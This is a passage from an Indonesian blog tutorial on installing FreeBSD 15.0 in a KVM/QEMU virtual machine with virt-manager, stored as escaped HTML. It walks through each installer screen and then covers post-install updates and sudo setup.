&lt;a href=&quot;https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/15.0/FreeBSD-15.0-RELEASE-amd64-dvd1.iso&quot; target=&quot;_blank&quot;&gt;https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/15.0/FreeBSD-15.0-RELEASE-amd64-dvd1.iso&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Creating a VM&lt;a href=&quot;#2-creating-a-vm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Attention!&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Tutorial ini hanya mendemonstrasikan instalasi FreeBSD di KVM dengan Virt-Manager dan QEMU. Jika kalian ingin meng-&lt;em&gt;install&lt;/em&gt; FreeBSD di Hypervisor yang lain seperti VMWare atau VirtualBox, silakan.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Artikel ini tidak menjelaskan secara detail cara instalasi Virt-Manager. Untuk meng-&lt;em&gt;install&lt;/em&gt; Virt-Manager di Linux, kalian bisa baca artikel saya yang lain:&lt;/p&gt;&lt;a href=&quot;/posts/tech/virt-manager/&quot;&gt;&lt;div&gt;&lt;div&gt;Practical Guide to Virt-Manager&lt;/div&gt;&lt;div&gt;A note explaining basic usage of virt-manager, especially when it comes to the commands.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-06-16&lt;/span&gt;&lt;span&gt;virt-manager&lt;/span&gt;&lt;span&gt;&lt;span&gt;#virt-manager&lt;/span&gt;&lt;span&gt;#libvirt&lt;/span&gt;&lt;span&gt;#kvm&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;span&gt;#qemu&lt;/span&gt;&lt;span&gt;#virtualization&lt;/span&gt;&lt;span&gt;#virtual machine&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;339&quot; src=&quot;/_astro/featured.B1xqMm6N_ZlLJXa.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Untuk membuat VM dengan KVM dan QEMU:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Hidupkan &lt;em&gt;service&lt;/em&gt; &lt;code&gt;libvirtd&lt;/code&gt; dan aktifkan VM &lt;em&gt;network&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libvirtd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libvirtd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;net-start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;virsh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;net-list&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--all&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Buat VM dengan di &lt;code&gt;virt-manager&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;virt-manager&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu:///system&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--show-domain-creator&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Pilih “Local install media (ISO image or CDROM)”.&lt;/li&gt;
&lt;li&gt;Pilih file ISO (.iso) FreeBSD yang sudah kalian &lt;em&gt;download&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Alokasikan CPU &amp;amp; RAM.&lt;/li&gt;
&lt;li&gt;Alokasikan &lt;em&gt;storage&lt;/em&gt; (penyimpanan).&lt;/li&gt;
&lt;li&gt;Sesuaikan nama VM &amp;amp; &lt;em&gt;network&lt;/em&gt; (jika perlu).&lt;/li&gt;
&lt;li&gt;Selesai.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Installation Process&lt;a href=&quot;#installation-process&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Setelah proses membuat VM selesai, akan muncul window baru, yang menandakan VM FreeBSD tersebut berhasil dibuat dan sedang berjalan. Berikut adalah tahapan-tahapan instalasinya:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Dokumentasi instalasi FreeBSD sudah dijelaskan dengan jelas dan detail di:
&lt;a href=&quot;https://docs.freebsd.org/en/books/handbook/bsdinstall/&quot; target=&quot;_blank&quot;&gt;https://docs.freebsd.org/en/books/handbook/bsdinstall/&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;section&gt;&lt;h4&gt;1. Boot Installer&lt;a href=&quot;#1-boot-installer&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pilih “1. Boot Installer [Enter]”&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;FreeBSD first UI&quot; loading=&quot;lazy&quot; width=&quot;1143&quot; height=&quot;686&quot; src=&quot;/_astro/ss1.BopOMso7_OuiN3.webp&quot; /&gt;&lt;figcaption&gt;FreeBSD first UI&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Install&lt;a href=&quot;#2-install&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pilih “Install”.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Install&quot; loading=&quot;lazy&quot; width=&quot;1057&quot; height=&quot;546&quot; src=&quot;/_astro/ss2.BhCMngYQ_1W8wyB.webp&quot; /&gt;&lt;figcaption&gt;Install&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. Keymap Selection&lt;a href=&quot;#3-keymap-selection&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pilih “default” pada keymap selection.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Keymap selection: default&quot; loading=&quot;lazy&quot; width=&quot;1054&quot; height=&quot;541&quot; src=&quot;/_astro/ss3.Cwt8NQCV_Z2qQFix.webp&quot; /&gt;&lt;figcaption&gt;Keymap selection: default&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;4. Hostname&lt;a href=&quot;#4-hostname&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Buat Hostname (nama mesin FreeBSD kalian).&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Hostname&quot; loading=&quot;lazy&quot; width=&quot;1056&quot; height=&quot;543&quot; src=&quot;/_astro/ss4.CGb4lQcI_bic4x.webp&quot; /&gt;&lt;figcaption&gt;Hostname&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;5. Installation Type&lt;a href=&quot;#5-installation-type&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pilih “Distribution Sets” pada Installation Type, karena lebih stabil.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Installation type: Distribution Sets&quot; loading=&quot;lazy&quot; width=&quot;1054&quot; height=&quot;544&quot; src=&quot;/_astro/ss5.BStlsWA5_nR20j.webp&quot; /&gt;&lt;figcaption&gt;Installation type: Distribution Sets&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;6. Selecting Components&lt;a href=&quot;#6-selecting-components&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pilih 3 komponen: “kernel-dbg”, “lib32”, dan “ports”.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Selecting components to install&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;544&quot; src=&quot;/_astro/ss6.CqKEKIVM_ZmJa1o.webp&quot; /&gt;&lt;figcaption&gt;Selecting components to install&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;7. Partitioning&lt;a href=&quot;#7-partitioning&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pilih “Auto (ZFS): Guided Root-on-ZFS” pada Partitioning.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Partitioning&quot; loading=&quot;lazy&quot; width=&quot;1056&quot; height=&quot;545&quot; src=&quot;/_astro/ss7.B-7N-pVF_18nrb7.webp&quot; /&gt;&lt;figcaption&gt;Partitioning&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;8. ZFS Configuration&lt;a href=&quot;#8-zfs-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Pada Configure Options, pilih “Install: Proceed with Installation”&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ZSF: Configure Options&quot; loading=&quot;lazy&quot; width=&quot;1056&quot; height=&quot;544&quot; src=&quot;/_astro/ss8.BVzINFL9_4RBA3.webp&quot; /&gt;&lt;figcaption&gt;ZSF: Configure Options&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Pada Virtual Device Type, pilih “stripe: Stripe - No Redundancy”&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ZFS: Virtual Devie Type&quot; loading=&quot;lazy&quot; width=&quot;1056&quot; height=&quot;544&quot; src=&quot;/_astro/ss9.DfDDhoCc_1Kpxs4.webp&quot; /&gt;&lt;figcaption&gt;ZFS: Virtual Devie Type&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Ceklis disk yang akan kita gunakan. Akan ada window “warning”, pilih “Yes”. Proses ekstraksi berjalan, tunggu hingga selesai.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Setup Disk&quot; loading=&quot;lazy&quot; width=&quot;1056&quot; height=&quot;542&quot; src=&quot;/_astro/ss10.DJNvOyY9_tUTWK.webp&quot; /&gt;&lt;figcaption&gt;Setup Disk&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;9. Root Password&lt;a href=&quot;#9-root-password&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Buat Password Root&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Set Root Password&quot; loading=&quot;lazy&quot; width=&quot;1057&quot; height=&quot;544&quot; src=&quot;/_astro/ss11.C7JVKN5z_1UBdC8.webp&quot; /&gt;&lt;figcaption&gt;Set Root Password&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;10. Network Manager&lt;a href=&quot;#10-network-manager&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pilih “Auto” pada Network Manager yang tersedia. Tunggu hingga mesin mendapatkan DHCP IP.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Network Manager&quot; loading=&quot;lazy&quot; width=&quot;1054&quot; height=&quot;542&quot; src=&quot;/_astro/ss12.BqWAcF2H_Z1RaTbi.webp&quot; /&gt;&lt;figcaption&gt;Network Manager&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;11. Timezone Selector&lt;a href=&quot;#11-timezone-selector&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pada “Timezone Selector”, pilih Asia &amp;gt; Indonesia &amp;gt; Java, Sumatera. Akan muncul bagian konfirmasi (WIB), pilih “Yes”.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Timezone&quot; loading=&quot;lazy&quot; width=&quot;1058&quot; height=&quot;544&quot; src=&quot;/_astro/ss13.D-US3Fh8_1H72FD.webp&quot; /&gt;&lt;figcaption&gt;Timezone&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;12. Time &amp;amp; Date&lt;a href=&quot;#12-time--date&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Time &amp;amp; Date biarkan default (di-skip saja).&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Time &amp;amp;#x26; Date&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;542&quot; src=&quot;/_astro/ss14.hTd84K-z_28i1WR.webp&quot; /&gt;&lt;figcaption&gt;Time &amp;amp; Date&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;13. System Configuration&lt;a href=&quot;#13-system-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Selain sshd &amp;amp; dumpdev (default), pilih juga moused sebagai &lt;em&gt;service&lt;/em&gt; yang akan dijalankan ketika &lt;em&gt;booting&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;System configuration&quot; loading=&quot;lazy&quot; width=&quot;1056&quot; height=&quot;544&quot; src=&quot;/_astro/ss15.h6cqNrQ5_1wCPDg.webp&quot; /&gt;&lt;figcaption&gt;System configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;14. System Hardening&lt;a href=&quot;#14-system-hardening&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;System hardening biarkan default.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;System hardening&quot; loading=&quot;lazy&quot; width=&quot;1057&quot; height=&quot;543&quot; src=&quot;/_astro/ss16.KSH7EB_V_2vjIiH.webp&quot; /&gt;&lt;figcaption&gt;System hardening&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;15. Add User Account&lt;a href=&quot;#15-add-user-account&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pada Add User Account, kita hanya perlu membuat “username”, “full name”, dan jangan lupa menambahkan user group-nya ke “wheel”. Sisanya biarkan default. Pilih “Yes” pada kolom konfirmasi.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Add User Account&quot; loading=&quot;lazy&quot; width=&quot;1060&quot; height=&quot;546&quot; src=&quot;/_astro/ss17.AGU9Fh-7_2aENU8.webp&quot; /&gt;&lt;figcaption&gt;Add User Account&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;16. Final Configuration&lt;a href=&quot;#16-final-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Pilih “Finish” jika sudah tidak ada yang ingin diubah lagi.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Final Configuration&quot; loading=&quot;lazy&quot; width=&quot;1056&quot; height=&quot;544&quot; src=&quot;/_astro/ss18.B5EIDaGk_UCX69.webp&quot; /&gt;&lt;figcaption&gt;Final Configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dan inilah pertanda bahwa instlasi kita selesai:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Installation Finished&quot; loading=&quot;lazy&quot; width=&quot;1058&quot; height=&quot;544&quot; src=&quot;/_astro/ss19.CM8koky5_1VXg8L.webp&quot; /&gt;&lt;figcaption&gt;Installation Finished&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dengan demikian, proses instalasi FreeBSD sudah berakhir! Kita bisa mengabaikan “Manual Configuration” tersebut jika memang sudah tidak ada yang perlu dimodifikasi/diganti/diubah lagi.&lt;/p&gt;&lt;p&gt;Setelah itu, kita dapat me-&lt;em&gt;reboot&lt;/em&gt; sistem FreeBSD kita.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;17. Login&lt;a href=&quot;#17-login&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya berhasil login ke FreeBSD!&lt;br /&gt;
Jangan khawatir, tampilannya (&lt;em&gt;interface&lt;/em&gt;) memang masing berbasis CLI (&lt;em&gt;Command Line Interface&lt;/em&gt;), karena kita belum meng-&lt;em&gt;install&lt;/em&gt; DE (&lt;em&gt;Desktop Environment&lt;/em&gt;) atau WM (&lt;em&gt;Window Manager&lt;/em&gt;) apapun.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Login&quot; loading=&quot;lazy&quot; width=&quot;1057&quot; height=&quot;554&quot; src=&quot;/_astro/ss20.z-HI0q42_1PaCrP.webp&quot; /&gt;&lt;figcaption&gt;Login&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Post-Installation&lt;a href=&quot;#post-installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;1. Update System&lt;a href=&quot;#1-update-system&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Setelah instalasi berhasil, hal pertama yang perlu kita lakukan adalah meng-update sistem:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;su&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# login ke user root&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;freebsd-update&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fetch&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;freebsd-update&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Install sudo&lt;a href=&quot;#2-install-sudo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita akan meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;sudo&lt;/code&gt;. Tujuannya jelas, agar ketika kita memerlukan akses root (misalnya untuk meng-&lt;em&gt;install&lt;/em&gt; package), kita tidak perlu selalu login ke user root, karena bisa menggunakan &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Karena baru pertama kali menggunakan &lt;code&gt;pkg&lt;/code&gt; sebagai &lt;em&gt;package manager&lt;/em&gt;, kita akan diminta meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;pkg&lt;/code&gt; terlebih dahulu.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;su&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# login ke root shell&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pkg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Setelah instalasi berhasil, jangan lupa mengaktifkan akses “wheel” ke sudo:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;visudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# masuk ke konfigurasi sudoers&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;%wheel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ALL=&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ALL:ALL&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;NOPASSWD:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ALL&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# uncomment&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk memastikan sudo sudah berhasil ter-&lt;em&gt;install&lt;/em&gt; dan terkonfigurasi:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;su&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.freebsd.org/about/&quot; target=&quot;_blank&quot;&gt;https://www.freebsd.org/about/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Unix&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/Unix&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/linux-unix/introduction-to-unix-system/&quot; target=&quot;_blank&quot;&gt;https://www.geeksforgeeks.org/linux-unix/introduction-to-unix-system/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chatgpt.com&quot; target=&quot;_blank&quot;&gt;https://www.chatgpt.com&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.freebsd.org/en/books/handbook/bsdinstall/#bsdinstall-synopsis&quot; target=&quot;_blank&quot;&gt;https://docs.freebsd.org/en/books/handbook/bsdinstall/#bsdinstall-synopsis&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
